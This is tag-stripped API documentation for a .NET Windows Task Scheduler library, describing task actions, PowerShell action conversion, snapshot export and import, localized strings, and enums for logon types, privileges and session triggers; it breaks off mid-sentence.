+ + Creates a new instance of an that can be added to . + + + Creates a new instance of an that can be added to . + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + + + Gets or sets the arguments associated with the command-line operation. + + + Gets or sets the path to an executable file. + + + + Gets or sets the directory that contains either the executable file or the files that are used by the executable file. + + + + Determines whether the specified path is a valid filename and, optionally, if it exists. + The path. + if set to true check if file exists. + if set to true throw exception on error. + true if the specified path is a valid filename; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Validates the input as a valid filename and optionally checks for its existence. If valid, the property is + set to the validated absolute file path. + + The file path to validate. + if set to true check if the file exists. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + + Represents an action that shows a message box when a task is activated. Only available for Task Scheduler 2.0 on Windows Vista + or Windows Server 2003 and later.This action has been deprecated in Windows 8 and later. However, this + library is able to mimic its functionality using PowerShell if the property is + set to . To disable this conversion, set the value to . + + Display a message when the trigger fires using the ShowMessageAction. + + + + + + + + Creates a new unbound instance of . + + + Creates a new unbound instance of . + Message text that is displayed in the body of the message box. + Title of the message box. + + + Gets or sets the message text that is displayed in the body of the message box. + + + Gets or sets the title of the message box. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Options for when to convert actions to PowerShell equivalents. + + + + Never convert any actions to PowerShell. This will force exceptions to be thrown when unsupported actions our action quantities + are found. + + + + + Convert actions under Version 1 of the library (Windows XP or Windows Server 2003 and earlier). This option supports multiple + actions of all types. If not specified, only a single is supported. Developer must ensure that + PowerShell v2 or higher is installed on the target computer. + + + + + Convert all and references to their PowerShell equivalents on systems + on or after Windows 8 / Server 2012. + + + + Convert all actions regardless of version or operating system. + + + Collection that contains the actions that are performed by the task. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets or sets the identifier of the principal for the task. + + + + Gets or sets the systems under which unsupported actions will be converted to PowerShell instances. + + The PowerShell platform options. + + This property will affect how many actions are physically stored in the system and is tied to the version of Task Scheduler. + + If set to , then no actions will ever be converted to PowerShell. This will + force exceptions to be thrown when unsupported actions our action quantities are found. + + + If set to , then actions will be converted only under Version 1 of the + library (Windows XP or Windows Server 2003 and earlier). This option supports multiple actions of all types. If not specified, + only a single is supported. Developer must ensure that PowerShell v2 or higher is installed on the + target computer. + + + If set to (which is the default value), then and references will be converted to their PowerShell equivalents on systems + on or after Windows 8 / Server 2012. + + + If set to , then any actions not supported by the Task Scheduler version will be + converted to PowerShell. + + + + + Gets or sets an XML-formatted version of the collection. + + + Gets the number of actions in the collection. + + + Gets or sets a specified action from the collection. + The . + The id ( ) of the action to be retrieved. + Specialized instance. + + + + Mismatching Id for action and lookup. + + + Gets or sets a an action at the specified index. + The zero-based index of the action to get or set. + + + Adds an action to the task. + A type derived from . + A derived class. + The bound that was added to the collection. + + + Adds an to the task. + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + The bound that was added to the collection. + + + Adds a new instance to the task. + Type of task to be created + Specialized instance. + + + Adds a collection of actions to the end of the . + + The actions to be added to the end of the . The collection itself cannot be null and cannot + contain null elements. + + is null. + + + Clears all actions from the task. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Determines whether the specified action type is contained in this collection. + Type of the action. + true if the specified action type is contained in this collection; otherwise, false. + + + + Copies the elements of the to an array of , starting at a particular index. + + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + + + + Copies the elements of the to an array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first + occurrence within the entire collection. + + + The delegate that defines the conditions of the to search for. + + + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Retrieves an enumeration of each of the actions. + + Returns an object that implements the interface and that can iterate through the + objects within the . + + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Determines the index of a specific item in the . + The id ( ) of the action to be retrieved. + The index of if found in the list; otherwise, -1. + + + Inserts an action at the specified index. + The zero-based index at which action should be inserted. + The action to insert into the list. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Removes the action at a specified index. + Index of action to remove. + Index out of range. + + + Copies the elements of the to a new array. + An array containing copies of the elements of the . + + + Returns a that represents the actions in this collection. + A that represents the actions in this collection. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Functions to provide localized strings for enumerated types and values. + + + + + Gets a string representing the localized value of the provided enum. + + The enum value. + A localized string, if available. + + + + Pair of name and value. + + + + + Occurs when a property has changed. + + + + + Initializes a new instance of the class. + + + + + Gets or sets the name. + + + The name. + + + + + Gets or sets the value. + + + The value. + + + + + Clones this instance. + + A copy of an unbound . + + + + Determines whether the specified , is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Returns a hash code for this instance. + + + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Implements the operator implicit NameValuePair. + + The KeyValuePair. + + The result of the operator. + + + + + Contains a collection of name-value pairs. + + + + + Occurs when the collection has changed. + + + + + Occurs when a property has changed. + + + + + Copies current to another. + + The destination collection. + + + + Releases all resources used by this class. + + + + + Gets the number of items in the collection. + + + + + Gets a collection of the names. + + + The names. + + + + + Gets a collection of the values. + + + The values. + + + + + Gets the value of the item at the specified index. + + The index of the item being requested. + The value of the name-value pair at the specified index. + + + + Gets the value of the item with the specified name. + + Name to get the value for. + Value for the name, or null if not found. + + + + Adds an item to the . + + The object to add to the . + + + + Adds a name-value pair to the collection. + + The name associated with a value in a name-value pair. + The value associated with a name in a name-value pair. + + + + Adds the elements of the specified collection to the end of . + + The collection of whose elements should be added to the end of . + + + + Clears the entire collection of name-value pairs. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Removes the name-value pair with the specified key from the collection. + + The name associated with a value in a name-value pair. + true if item successfully removed; false otherwise. + + + + Removes a selected name-value pair from the collection. + + Index of the pair to remove. + + + + Gets the value associated with the specified name. + + The name whose value to get. + When this method returns, the value associated with the specified name, if the name is found; otherwise, null. This parameter is passed uninitialized. + true if the collection contains an element with the specified name; otherwise, false. + + + + Gets the collection enumerator for the name-value collection. + + An for the collection. + + + + Abstract class for throwing a method specific exception. + + + + Defines the minimum supported version for the action not allowed by this exception. + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Gets a message that describes the current exception. + + + + + Gets the minimum supported TaskScheduler version required for this method or property. + + + + + Gets the object data. + + The information. + The context. + + + + Thrown when the calling method is not supported by Task Scheduler 1.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Initializes a new instance of the class. + + The message. + + + + Thrown when the calling method is not supported by Task Scheduler 2.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Thrown when the calling method is not supported by Task Scheduler versions prior to the one specified. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + A strongly-typed resource class, for looking up localized strings, etc. + + + + + Returns the cached ResourceManager instance used by this class. + + + + + Overrides the current thread's CurrentUICulture property for all + resource lookups using this strongly typed resource class. + + + + + Looks up a localized string similar to Call a COM object. + + + + + Looks up a localized string similar to Start a program. + + + + + Looks up a localized string similar to Send an e-mail. + + + + + Looks up a localized string similar to Display a message. + + + + + Looks up a localized string similar to {3} {0:P}. + + + + + Looks up a localized string similar to every day. + + + + + Looks up a localized string similar to {1} {0}. + + + + + Looks up a localized string similar to .. + + + + + Looks up a localized string similar to The date and time a trigger expires must be later than the time time it starts or is activated.. + + + + + Looks up a localized string similar to {0} {1}. + + + + + Looks up a localized string similar to -. + + + + + Looks up a localized string similar to ,. + + + + + Looks up a localized string similar to every month. + + + + + Looks up a localized string similar to Multiple actions defined. + + + + + Looks up a localized string similar to Multiple triggers defined. + + + + + Looks up a localized string similar to {0}. + + + + + Looks up a localized string similar to Author. + + + + + Looks up a localized string similar to Disabled. + + + + + Looks up a localized string similar to Queued. + + + + + Looks up a localized string similar to Ready. + + + + + Looks up a localized string similar to Running. + + + + + Looks up a localized string similar to Unknown. + + + + + Looks up a localized string similar to any user. + + + + + Looks up a localized string similar to At system startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to At {0:t} every day. + + + + + Looks up a localized string similar to At {0:t} every {1} days. + + + + + Looks up a localized string similar to indefinitely. + + + + + Looks up a localized string similar to for a duration of {0}. + + + + + Looks up a localized string similar to for {0}. + + + + + Looks up a localized string similar to Trigger expires at {0:G}.. + + + + + Looks up a localized string similar to Custom event filter. + + + + + Looks up a localized string similar to On event - Log: {0}. + + + + + Looks up a localized string similar to , Source: {0}. + + + + + Looks up a localized string similar to , EventID: {0}. + + + + + Looks up a localized string similar to When computer is idle. + + + + + Looks up a localized string similar to At log on of {0}. + + + + + Looks up a localized string similar to At {0:t} on day {1} of {2}, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} on {1} {2:f} each {3}, starting {0:d}. + + + + + Looks up a localized string similar to When the task is created or modified. + + + + + Looks up a localized string similar to After triggered, repeat every {0} {1}.. + + + + + Looks up a localized string similar to Every {0} {1}.. + + + + + Looks up a localized string similar to On local connection to {0}.. + + + + + Looks up a localized string similar to On local disconnect from {0}.. + + + + + Looks up a localized string similar to On remote connection to {0}.. + + + + + Looks up a localized string similar to On remote disconnect from {0}.. + + + + + Looks up a localized string similar to On workstation lock of {0}.. + + + + + Looks up a localized string similar to On workstation unlock of {0}.. + + + + + Looks up a localized string similar to user session of {0}. + + + + + Looks up a localized string similar to At {0:t} on {0:d}. + + + + + Looks up a localized string similar to At startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to Daily. + + + + + Looks up a localized string similar to On an event. + + + + + Looks up a localized string similar to On idle. + + + + + Looks up a localized string similar to At log on. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to At task creation/modification. + + + + + Looks up a localized string similar to On state change. + + + + + Looks up a localized string similar to One time. + + + + + Looks up a localized string similar to Weekly. + + + + + Looks up a localized string similar to At {0:t} every {1} of every week, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} every {1} of every {2} weeks, starting {0:d}. + + + + + Looks up a localized string similar to every. + + + + + Looks up a localized string similar to fifth. + + + + + Looks up a localized string similar to first. + + + + + Looks up a localized string similar to fourth. + + + + + Looks up a localized string similar to last. + + + + + Looks up a localized string similar to second. + + + + + Looks up a localized string similar to third. + + + + + Some string values of properties can be set to retrieve their value from existing DLLs as a resource. This class facilitates creating those reference strings. + + + + + Initializes a new instance of the class. + + The DLL path. + The resource identifier. + + + + Gets or sets the resource file path. This can be a relative path, full path or lookup path (e.g. %SystemRoot%\System32\ResourceName.dll). + + + The resource file path. + + + + + Gets or sets the resource identifier. + + The resource identifier. + + + + Performs an implicit conversion from to . + + The value. + The result of the conversion. + + + + Parses the input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + A new instance on success or null on failure. + is null + is not in the format "$(@ [Dll], [ResourceID])" + + + + Tries to parse to input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + The resource reference to be returned. On failure, this value equals null. + A new instance on success or null on failure. + + + + Gets the result of pulling the string from the resource file using the identifier. + + from resource file. + cannot be found. + Unable to load or string identified by . + + + + Returns a in the format required by the Task Scheduler to reference a string in a DLL. + + A formatted in the format $(@ [Dll], [ResourceID]). + + + Abstract class representing a secured item for storage in a . + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + + + Gets the path to the item. + The path to the item. + + + Gets the SDDL for the item. + The SDDL for the item. + + + Represents a instance and captures its name and security. + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + + + + Represents all the information about the tasks and folders from a instance that can be used to reconstitute tasks and folders + on the same or different systems. This class and related classes are only available under the .NET 4.5.2 build and later .NET versions due to + dependencies on threading and compressed (zip) files. + + + + Creates a new instance of from an existing snapshot. + The zip file snapshot created by the method. + + + + Gets a list of and instances the represent the tasks and folders from a Task Scheduler instance. + + + + Gets the path of the file based snapshot. + + + Gets the machine name of the server from which the snapshot was taken. + The target server name. + + + Gets the UTC time stamp for when the snapshot was taken. + The time stamp. + + + + Creates a compressed zip file that contains all the information accessible to the user from the instance necessary to + reconstitute its tasks and folders. This method can take many seconds to execute. It is recommended to call the asynchronous + version.This method will execute without error even if the user does not have permissions to see all tasks and folders. + It is imperative that the developer ensures that the user has Administrator or equivalent rights before calling this method. + + The from which to pull the tasks and folders. + The output zip file in which to place the snapshot information. + A instance with the contents of the specified Task Scheduler connection. + + + + Creates a compressed zip file that contains all the information accessible to the user from the instance necessary to + reconstitute its tasks and folders. This method will execute without error even if the user does not have permissions to see all + tasks and folders. It is imperative that the developer ensures that the user has Administrator or equivalent rights before calling this method. + + The from which to pull the tasks and folders. + The output zip file in which to place the snapshot information. + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance with the contents of the specified Task Scheduler connection. + + + Opens an existing snapshot and returns a new instance of . + The zip file snapshot created by the method. + A instance with the contents of the specified snapshot file. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of paths representing the tasks and folders from this snapshot that should be registered on the instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of instances representing the tasks and folders from this snapshot that should be registered on the + instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of instances representing the tasks and folders from this snapshot that should be registered on the + instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + + + Represents a instance and captures its details. + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + If set to true task is enabled. + The XML for the . + + + Gets a value indicating whether th is enabled. + true if enabled; otherwise, false. + + + Gets the XML. + The XML. + + + Defines what versions of Task Scheduler or the AT command that the task is compatible with. + + + The task is compatible with the AT command. + + + + The task is compatible with Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + Items not available when compared to V2: + + TaskDefinition.Principal.GroupId - All account information can be retrieved via the UserId property. + TaskLogonType values Group, None and S4U are not supported. + TaskDefinition.Principal.RunLevel == TaskRunLevel.Highest is not supported. + + Assigning access security to a task is not supported using TaskDefinition.RegistrationInfo.SecurityDescriptorSddlForm or in RegisterTaskDefinition. + + + TaskDefinition.RegistrationInfo.Documentation, Source, URI and Version properties are only supported using this library. See + details in the remarks for . + + TaskDefinition.Settings.AllowDemandStart cannot be false. + TaskDefinition.Settings.AllowHardTerminate cannot be false. + TaskDefinition.Settings.MultipleInstances can only be IgnoreNew. + TaskDefinition.Settings.NetworkSettings cannot have any values. + TaskDefinition.Settings.RestartCount can only be 0. + TaskDefinition.Settings.StartWhenAvailable can only be false. + + TaskDefinition.Actions can only contain ExecAction instances unless the TaskDefinition.Actions.PowerShellConversion property has + the Version1 flag set. + + TaskDefinition.Triggers cannot contain CustomTrigger, EventTrigger, SessionStateChangeTrigger, or RegistrationTrigger instances. + TaskDefinition.Triggers cannot contain instances with delays set. + TaskDefinition.Triggers cannot contain instances with ExecutionTimeLimit or Id properties set. + TaskDefinition.Triggers cannot contain LogonTriggers instances with the UserId property set. + TaskDefinition.Triggers cannot contain MonthlyDOWTrigger instances with the RunOnLastWeekOfMonth property set to true. + TaskDefinition.Triggers cannot contain MonthlyTrigger instances with the RunOnDayWeekOfMonth property set to true. + + + + + + The task is compatible with Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + This version is the baseline for the new, non-file based Task Scheduler. See remarks for + functionality that was not forward-compatible. + + + + + + The task is compatible with Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + Changes from V2: + + TaskDefinition.Principal.ProcessTokenSidType can be defined as a value other than Default. + + TaskDefinition.Actions may not contain EmailAction or ShowMessageAction instances unless the + TaskDefinition.Actions.PowerShellConversion property has the Version2 flag set. + + TaskDefinition.Principal.RequiredPrivileges can have privilege values assigned. + TaskDefinition.Settings.DisallowStartOnRemoteAppSession can be set to true. + TaskDefinition.UseUnifiedSchedulingEngine can be set to true. + + + + + + The task is compatible with Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + Changes from V2_1: + + + TaskDefinition.Settings.MaintenanceSettings can have Period or Deadline be values other than TimeSpan.Zero or the Exclusive + property set to true. + + TaskDefinition.Settings.Volatile can be set to true. + + + + + + The task is compatible with Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + Changes from V2_2: + + None published. + + + + + Defines how the Task Scheduler service creates, updates, or disables the task. + + + The Task Scheduler service registers the task as a new task. + + + + The Task Scheduler service either registers the task as a new task or as an updated version if the task already exists. + Equivalent to Create | Update. + + + + + The Task Scheduler service registers the disabled task. A disabled task cannot run until it is enabled. For more information, + see Enabled Property of TaskSettings and Enabled Property of RegisteredTask. + + + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. When the + TaskFolder.RegisterTaskDefinition or TaskFolder.RegisterTask functions are called with this flag to update a task, the Task + Scheduler service does not add the ACE for the new context principal and does not remove the ACE from the old context principal. + + + + + The Task Scheduler service creates the task, but ignores the registration triggers in the task. By ignoring the registration + triggers, the task will not execute when it is registered unless a time-based trigger causes it to execute on registration. + + + + + The Task Scheduler service registers the task as an updated version of an existing task. When a task with a registration trigger + is updated, the task will execute after the update occurs. + + + + + The Task Scheduler service checks the syntax of the XML that describes the task but does not register the task. This constant + cannot be combined with the Create, Update, or CreateOrUpdate values. + + + + Defines how the Task Scheduler handles existing instances of the task when it starts a new instance of the task. + + + Starts new instance while an existing instance is running. + + + Starts a new instance of the task after all other instances of the task are complete. + + + Does not start a new instance if an existing instance of the task is running. + + + Stops an existing instance of the task before it starts a new instance. + + + Defines what logon technique is required to run a task. + + + The logon method is not specified. Used for non-NT credentials. + + + Use a password for logging on the user. The password must be supplied at registration time. + + + + Use an existing interactive token to run a task. The user must log on using a service for user (S4U) logon. When an S4U logon is + used, no password is stored by the system and there is no access to either the network or to encrypted files. + + + + User must already be logged on. The task will be run only in an existing interactive session. + + + Group activation. The groupId field specifies the group. + + + + Indicates that a Local System, Local Service, or Network Service account is being used as a security context to run the task. + + + + + First use the interactive token. If the user is not logged on (no interactive token is available), then the password is used. + The password must be specified when a task is registered. This flag is not recommended for new tasks because it is less reliable + than Password. + + + + Defines which privileges must be required for a secured task. + + + Required to create a primary token. User Right: Create a token object. + + + Required to assign the primary token of a process. User Right: Replace a process-level token. + + + Required to lock physical pages in memory. User Right: Lock pages in memory. + + + Required to increase the quota assigned to a process. User Right: Adjust memory quotas for a process. + + + Required to read unsolicited input from a terminal device. User Right: Not applicable. + + + Required to create a computer account. User Right: Add workstations to domain. + + + + This privilege identifies its holder as part of the trusted computer base. Some trusted protected subsystems are granted this + privilege. User Right: Act as part of the operating system. + + + + + Required to perform a number of security-related functions, such as controlling and viewing audit messages. This privilege + identifies its holder as a security operator. User Right: Manage auditing and the security log. + + + + + Required to take ownership of an object without being granted discretionary access. This privilege allows the owner value to be + set only to those values that the holder may legitimately assign as the owner of an object. User Right: Take ownership of files + or other objects. + + + + Required to load or unload a device driver. User Right: Load and unload device drivers. + + + Required to gather profiling information for the entire system. User Right: Profile system performance. + + + Required to modify the system time. User Right: Change the system time. + + + Required to gather profiling information for a single process. User Right: Profile single process. + + + Required to increase the base priority of a process. User Right: Increase scheduling priority. + + + Required to create a paging file. User Right: Create a pagefile. + + + Required to create a permanent object. User Right: Create permanent shared objects. + + + + Required to perform backup operations. This privilege causes the system to grant all read access control to any file, regardless + of the access control list (ACL) specified for the file. Any access request other than read is still evaluated with the ACL. + This privilege is required by the RegSaveKey and RegSaveKeyExfunctions. The following access rights are granted if this + privilege is held: READ_CONTROL, ACCESS_SYSTEM_SECURITY, FILE_GENERIC_READ, FILE_TRAVERSE. User Right: Back up files and directories. + + + + + Required to perform restore operations. This privilege causes the system to grant all write access control to any file, + regardless of the ACL specified for the file. Any access request other than write is still evaluated with the ACL. Additionally, + this privilege enables you to set any valid user or group security identifier (SID) as the owner of a file. This privilege is + required by the RegLoadKey function. The following access rights are granted if this privilege is held: WRITE_DAC, WRITE_OWNER, + ACCESS_SYSTEM_SECURITY, FILE_GENERIC_WRITE, FILE_ADD_FILE, FILE_ADD_SUBDIRECTORY, DELETE. User Right: Restore files and directories. + + + + Required to shut down a local system. User Right: Shut down the system. + + + Required to debug and adjust the memory of a process owned by another account. User Right: Debug programs. + + + Required to generate audit-log entries. Give this privilege to secure servers. User Right: Generate security audits. + + + + Required to modify the nonvolatile RAM of systems that use this type of memory to store configuration information. User Right: + Modify firmware environment values. + + + + + Required to receive notifications of changes to files or directories. This privilege also causes the system to skip all + traversal access checks. It is enabled by default for all users. User Right: Bypass traverse checking. + + + + Required to shut down a system by using a network request. User Right: Force shutdown from a remote system. + + + Required to undock a laptop. User Right: Remove computer from docking station. + + + + Required for a domain controller to use the LDAP directory synchronization services. This privilege allows the holder to read + all objects and properties in the directory, regardless of the protection on the objects and properties. By default, it is + assigned to the Administrator and LocalSystem accounts on domain controllers. User Right: Synchronize directory service data. + + + + + Required to mark user and computer accounts as trusted for delegation. User Right: Enable computer and user accounts to be + trusted for delegation. + + + + Required to enable volume management privileges. User Right: Manage the files on a volume. + + + + Required to impersonate. User Right: Impersonate a client after authentication. Windows XP/2000: This privilege is not + supported. Note that this value is supported starting with Windows Server 2003, Windows XP with SP2, and Windows 2000 with SP4. + + + + + Required to create named file mapping objects in the global namespace during Terminal Services sessions. This privilege is + enabled by default for administrators, services, and the local system account. User Right: Create global objects. Windows + XP/2000: This privilege is not supported. Note that this value is supported starting with Windows Server 2003, Windows XP with + SP2, and Windows 2000 with SP4. + + + + Required to access Credential Manager as a trusted caller. User Right: Access Credential Manager as a trusted caller. + + + Required to modify the mandatory integrity level of an object. User Right: Modify an object label. + + + + Required to allocate more memory for applications that run in the context of users. User Right: Increase a process working set. + + + + Required to adjust the time zone associated with the computer's internal clock. User Right: Change the time zone. + + + Required to create a symbolic link. User Right: Create symbolic links. + + + + Defines the types of process security identifier (SID) that can be used by tasks. These changes are used to specify the type of + process SID in the IPrincipal2 interface. + + + + No changes will be made to the process token groups list. + + + + A task SID that is derived from the task name will be added to the process token groups list, and the token default + discretionary access control list (DACL) will be modified to allow only the task SID and local system full control and the + account SID read control. + + + + A Task Scheduler will apply default settings to the task process. + + + Defines how a task is run. + + + The task is run with all flags ignored. + + + The task is run as the user who is calling the Run method. + + + The task is run regardless of constraints such as "do not run on batteries" or "run only if idle". + + + The task is run using a terminal server session identifier. + + + The task is run using a security identifier. + + + Defines LUA elevation flags that specify with what privilege level the task will be run. + + + Tasks will be run with the least privileges. + + + Tasks will be run with the highest privileges. + + + + Defines what kind of Terminal Server session state change you can use to trigger a task to start. These changes are used to specify + the type of state change in the SessionStateChangeTrigger. + + + + + Terminal Server console connection state change. For example, when you connect to a user session on the local computer by + switching users on the computer. + + + + + Terminal Server console disconnection state change. For example, when you disconnect to a user session on the local computer by + switching users on the computer. + + + + + Terminal Server remote connection state change. For example, when a user connects to a user session by using the Remote Desktop + Connection program from a remote computer. + + + + + Terminal Server remote disconnection state change. For example, when a user disconnects from a user session while using the + Remote Desktop Connection program from a remote computer. + + + + + Terminal Server session locked state change. For example, this state change causes the task to run when the computer is locked. + + + + + Terminal Server session unlocked state change. For example, this state change causes the task to run when the computer is unlocked. + + + + Options for use when calling the SetSecurityDescriptorSddlForm methods. + + + No special handling. + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. + + + Defines the different states that a registered task can be in. + + + The state of the task is unknown. + + + + The task is registered but is disabled and no instances of the task are queued or running. The task cannot be run until it is enabled. + + + + Instances of the task are queued. + + + The task is ready to be executed, but no instances are queued or running. + + + One or more instances of the task is running. + + + + Specifies how the Task Scheduler performs tasks when the computer is in an idle condition. For information about idle conditions, + see Task Idle Conditions. + + + + Occurs when a property value changes. + + + + Gets or sets a value that indicates the amount of time that the computer must be in an idle state before the task is run. + + + A value that indicates the amount of time that the computer must be in an idle state before the task is run. The minimum value + is one minute. If this value is TimeSpan.Zero, then the delay will be set to the default of 10 minutes. + + + + + Gets or sets a Boolean value that indicates whether the task is restarted when the computer cycles into an idle condition more + than once. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will terminate the task if the idle condition ends before + the task is completed. + + + + + Gets or sets a value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. If no + value is specified for this property, then the Task Scheduler service will wait indefinitely for an idle condition to occur. + + + A value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. The minimum time + allowed is 1 minute. If this value is TimeSpan.Zero, then the delay will be the equivalent of "Do not wait". + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Specifies the task settings the Task scheduler will use to start task during Automatic maintenance. + + + Occurs when a property value changes. + + + + Gets or sets the amount of time after which the Task scheduler attempts to run the task during emergency Automatic maintenance, + if the task failed to complete during regular Automatic maintenance. The minimum value is one day. The value of the property should be greater than the value of the property. If the deadline is not + specified the task will not be started during emergency Automatic maintenance. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a value indicating whether the Task Scheduler must start the task during the Automatic maintenance in exclusive + mode. The exclusivity is guaranteed only between other maintenance tasks and doesn't grant any ordering priority of the task. If + exclusivity is not specified, the task is started in parallel with other maintenance tasks. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets the amount of time the task needs to be started during Automatic maintenance. The minimum value is one minute. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the settings that the Task Scheduler service uses to obtain a network profile. + + + Occurs when a property value changes. + + + Gets or sets a GUID value that identifies a network profile. + Not supported under Task Scheduler 1.0. + + + Gets or sets the name of a network profile. The name is used for display purposes. + Not supported under Task Scheduler 1.0. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the methods to get information from and control a running task. + + + Gets the process ID for the engine (process) which is running the task. + Not supported under Task Scheduler 1.0. + + + Gets the name of the current action that the running task is performing. + + + Gets the GUID identifier for this instance of the task. + + + Gets the operational state of the running task. + + + Releases all resources used by this class. + + + Refreshes all of the local instance variables of the task. + Thrown if task is no longer running. + + + + Provides the methods that are used to run the task immediately, get any running instances of the task, get or set the credentials + that are used to register the task, and the properties that describe the task. + + + + Occurs when a property value changes. + + + Gets the definition of the task. + + + Gets or sets a Boolean value that indicates if the registered task is enabled. + + As of version 1.8.1, under V1 systems (prior to Vista), this property will immediately update the Disabled state and re-save the + current task. If changes have been made to the , then those changes will be saved. + + + + Gets an instance of the parent folder. + A object representing the parent folder of this task. + + + Gets a value indicating whether this task instance is active. + true if this task instance is active; otherwise, false. + + + Gets the time the registered task was last run. + Returns if there are no prior run times. + + + Gets the results that were returned the last time the registered task was run. + The value returned is the last exit code of the last program run via an . + + + + + + + + Gets the time when the registered task is next scheduled to run. + Returns if there are no future run times. + + Potentially breaking change in release 1.8.2. For Task Scheduler 2.0, the return value prior to 1.8.2 would be Dec 30, 1899 if + there were no future run times. For 1.0, that value would have been DateTime.MinValue. In release 1.8.2 and later, all + versions will return DateTime.MinValue if there are no future run times. While this is different from the native 2.0 + library, it was deemed more appropriate to have consistency between the two libraries and with 